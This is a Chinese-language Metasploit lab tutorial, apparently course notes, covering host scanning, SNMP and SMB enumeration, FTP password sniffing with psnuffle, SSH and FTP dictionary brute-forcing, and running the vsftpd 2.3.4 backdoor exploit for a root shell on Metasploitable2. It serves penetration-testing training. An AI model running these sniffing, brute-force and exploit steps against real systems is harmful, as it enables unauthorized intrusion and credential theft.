本文章所讲内容:
我们前面学习了主动信息收集和被动信息收集,而且还学习了漏洞检测工具 NESSUS,接下来给大家讲解使用 Metasploit 来对目标进行信息收集,这个过程包含了前面所有的方式以及多了一些更加极端的获取信息方式 ,比如获取服务器的硬件信息,系统用户信息、进程信息等。
Metasploit 中也有 NMAP 工具
msfconsole
db_nmap -sV 192.168.42.138
ARP 扫描
use auxiliary/scanner/discovery/arp_sweep
查看一下模块需要配置哪些参数
show options
配置 RHOSTS(扫描的目标网络)即可
set RHOSTS 192.168.42.0/24
SHOST 和 SMAC 是伪造源 IP 和 MAC 地址使用的。
配置线程数
set THREADS 30
run
扫描一整个网段,判断那个主机是存活的
back #退出一下
search portscan
这些我们前面就学习过的 TCP 扫描相关内容,其他的是一些应用的扫描。
use auxiliary/scanner/portscan/syn
查看配置项
use auxiliary/scanner/portscan/syn
show options
设置扫描的目标
set RHOSTS 192.168.42.138
设置端口范围使用逗号隔开
set PORTS 80
设置线程数
set THREADS 20
run
实验拓扑图:
只要成功登录靶机,psnuffle就会监听到输入的密码
search psnuffle
use auxiliary/sniffer/psnuffle
查看 psnuffle 的模块作用:
info
Description:
This module sniffs passwords like dsniff did in the past #这个 psnuffle 模块可以像以前的 dsniff 命令一样,去嗅探密码,只支持 pop3、imap、ftp、HTTP GET 协议。
扩展:Dsniff 是一个著名的网络嗅探工具包、高级口令嗅探工具、综合性的网络嗅探工具包。
show options
run
新建一个终端窗口登录 ftp,Metasploitable2-Linux 靶机中已经开启了 ftp 服务可以直接登录。
apt install lftp -y #安装 lftp 命令
lftp -u msfadmin 192.168.42.138
密码:msfadmin
连接成功后,进行下数据交互,查看 ftp 目录下的文件
ls
回到 MSF 终端可以看到用户名密码信息已经被获取。
嗅探完成后记得把后台任务关闭
jobs #查看后台运行的任务
kill 0 #kill job 的 ID,关闭 job
简单网络管理协议(SNMP,Simple Network Management Protocol),由一组网络管理的标准组成,包含一个应用层协议(application layer protocol)、数据库模型(database schema)和一组资源对象。该协议能够支持网络管理系统,用以监测连接到网络上的设备是否有任何引起管理上关注的情况。
我们使用 root 用户先到 Metasploitable2-Linux 主机上修改一下 SNMP 服务,因为默认服务是不对外开放的。
vim /etc/default/snmpd
改第 11 行
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
为:
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
保存退出
重启 SNMP 服务
sudo /etc/init.d/snmpd restart
确认服务监听正常
netstat -antup | grep 161
实战-使用 snmp_enum 模块通过 snmp 协议扫描目标服务器信息
use auxiliary/scanner/snmp/snmp_enum
show options
set RHOSTS 192.168.42.138
run
注:可以看到通过 snmp 协议探测到的信息非常多。如服务器硬件信息和服务器当前运行的进程,这两方面是其他扫描方式,可能获取不到的。
SMB 概述:服务器消息块(Server Message Block,缩写为 SMB),又称网络文件共享系统(Common Internet File System,缩写为 CIFS),一种应用层网络传输协议,由微软开发,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。
经过 Unix 服务器厂商重新开发后,它可以用于连接 Unix 服务器和 Windows 客户机,执行打印和文件共享等任务。
use auxiliary/scanner/smb/smb_version
设置扫描目标,注意多个目标使用逗号+空格隔开
show options
#设置
set RHOSTS 192.168.42.138, 192.168.42.137
注: 192.168.42.138 后面的逗号和 192.168.42.137 之间是有空格的
run
注:可以扫描出来操作系统的版本号,版本号很准确。
SMB 的模块中基本上都是可以配置用户名和密码的,配置了用户名和密码某些模块扫描的结果会更满足我们的需求。
我们到 Windows 中启用一下共享服务。
新建文件夹 shantu 并进入该文件夹。
枚举共享
use auxiliary/scanner/smb/smb_enumshares
show options
扫描 192.168.42.135 到 192.168.42.137 的机器
set RHOSTS 192.168.42.137
如果你不配置用户,就扫描不到信息。配置一下用户信息,我这里用户是默认的管理员用户,密码为hacker1961。
set SMBUser administrator
set SMBPass hacker1961
run
可以看到有 1 个是我们前面设置的 shantu 共享文件目录还有 4 个是隐藏的共享目录。
我们在 Win7 上新建一个 shantu 用户。密码也是 123456。
右键计算机→管理→本地用户和组→用户 ,在空白处,右击新建一个用户
用户 shantu 密码: 123456
把用户下次登录时须更改密码,给勾选掉,勾选上,我红色框框里面的
注:SID 是 Windows 中每一个用户的 ID,更改用户名 SID 也是不会改变的。
use auxiliary/scanner/smb/smb_lookupsid
show options
set RHOSTS 192.168.42.137
set SMBUser administrator
set SMBPass hacker1961
run
重在操作和过程,以及理解通过这些协议怎么去信息收集,信息收集可以获取那些信息
我们之前学的是主动信息收集和被动信息收集,都是web方面的信息收集,我们今天讲的是系统、主机、服务器的信息收集
一个好的渗透测试,是要把信息收集给完全了,不要他给你一个主站,你就光打一个主站,这样就没得玩了,这么多的协议收集,不指定开那个,万一开了ssh协议,我们可以利用一下,有没有相关漏洞,比如开了snmp或者开了TCP,都可以去扫一扫,尽可能详细的信息收集,才能有利于你们接下来漏洞利用,如何去发现这个漏洞,有版本出现那个漏洞、验证漏洞,扫描漏洞,然后利用这个漏洞去攻击,处理后事
获取版本信息,是为了查找这个版本有没有漏洞,通过ssh或者其它协议,进行信息收集,发现这个版本可能存在漏洞,然后我们可以去找相应的模块,进行一波测试
use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS 192.168.42.138
run
查看一下metersploit自带的字典
cd /usr/share/metasploit-framework/data/wordlists/
ls
这里有tomcat、http、oracel自带的字典密码
use auxiliary/scanner/ssh/ssh_login
show options
set RHOSTS 192.168.42.138
设置字典文件默认的字典文件是不满足实际需求的,后期我们使用更强大的字典文件。
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果
新开一个终端窗口
echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
回到 MSF 终端
run
因为我们是在文件的最后添加的,所以前面的都是失败的操作。
暴力破解又叫枚举测试,直到跑出正确密码为止
加载 ftp 服务版本扫描模块
use auxiliary/scanner/ftp/ftp_version
查看设置参数
show options
设置目标 IP,可以设置多个
set RHOSTS 192.168.42.138
执行扫描,输入 exploit 或 run
run
扫描出结果是:vsFTPd 2.3.4
back
扫描出 ftp 服务的版本号,我们可以尝试搜索版本号,看看有没有可以利用的模块
search 2.3.4
或者搜索 vsftpd
search vsftpd
我们发现存在一个 exploit 模块,而且这个版本的 ftp 服务存在一个后门
我们尝试利用下这个模块
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.42.138
run
拿到了 shell,而且是 root 权限,我们尝试执行下命令
执行 id 命令, 查看当前用户
执行 ifconfig 命令,查看 IP 地址
如何去探测版本号,利用这个版本号,找相对应的漏洞,然后利用这个漏洞进行攻击,不存在在进行其它的信息收集
暴力破解不提倡,因为这是个蛮撞行为,在走投无路的情况下,可以尝试,毕竟暴力破解太费资源、时间
use auxiliary/scanner/ftp/anonymous
show options
set RHOSTS 192.168.42.138
run
使用模块,查看配置,设置,run
use auxiliary/scanner/ftp/ftp_login
show options
set RHOSTS 192.168.42.138
设置字典文件默认的字典文件是不满足实际需求的后期我们使用更强大的字典文件。
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
因为字典文件中不包含我们的用户密码信息我们把自己的密码信息手动加入进去以便展示效果
新开一个终端窗口
echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
回到 MSF 终端
run
因为我们是在文件的最后添加的,所以前面的都是失败的操作。
像这种大规模的暴力破解,早就被发现了,这要是一个服务器,被这样强行的打、测试,早就开始拉警报了,封IP都是小事,开始溯源了
对版本进行收集,查看是否有相关的漏洞,进行对应漏洞的攻击,利用这个漏洞去获取shell
CTF得先有自身的基础,payload类似一个后门,他得先跟目标主机建立连接,通过这个连接去反弹一个shell,具体的payload,要根据我们进攻的渗透的主机来判断,比如他用安卓的,就用安卓的payload,linux的就用linux的payload